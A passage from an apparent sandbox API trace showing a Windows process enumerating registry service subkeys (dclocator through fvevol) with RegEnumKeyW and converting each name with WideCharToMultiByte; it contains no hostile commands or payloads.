lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0223.257] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0223.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0223.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f16e8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0223.257] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0223.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0223.258] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0223.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0223.258] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0223.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0223.258] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0223.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f16e8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0223.258] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0223.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0223.258] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0223.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0223.258] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0223.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0223.259] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0223.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0223.259] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0223.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0223.259] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0223.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0223.259] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0223.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0223.259] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0223.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0223.260] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0223.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0223.260] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0223.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0223.260] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0223.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0223.260] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0223.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0223.260] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0223.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0223.260] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0223.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0223.261] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0223.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0223.261] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0223.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0223.261] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0223.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0223.261] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0223.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0223.261] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0223.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0223.261] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0223.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0223.262] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0223.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0223.262] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0223.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0223.262] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0223.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0223.262] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0223.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0223.262] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0223.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0223.263] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0223.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0223.263] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0223.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0223.263] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0223.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0223.263] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0223.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0223.263] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0223.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f16e8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0223.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0223.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0223.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1a90, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0223.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0223.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f16e8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0223.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0223.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0223.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0223.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", 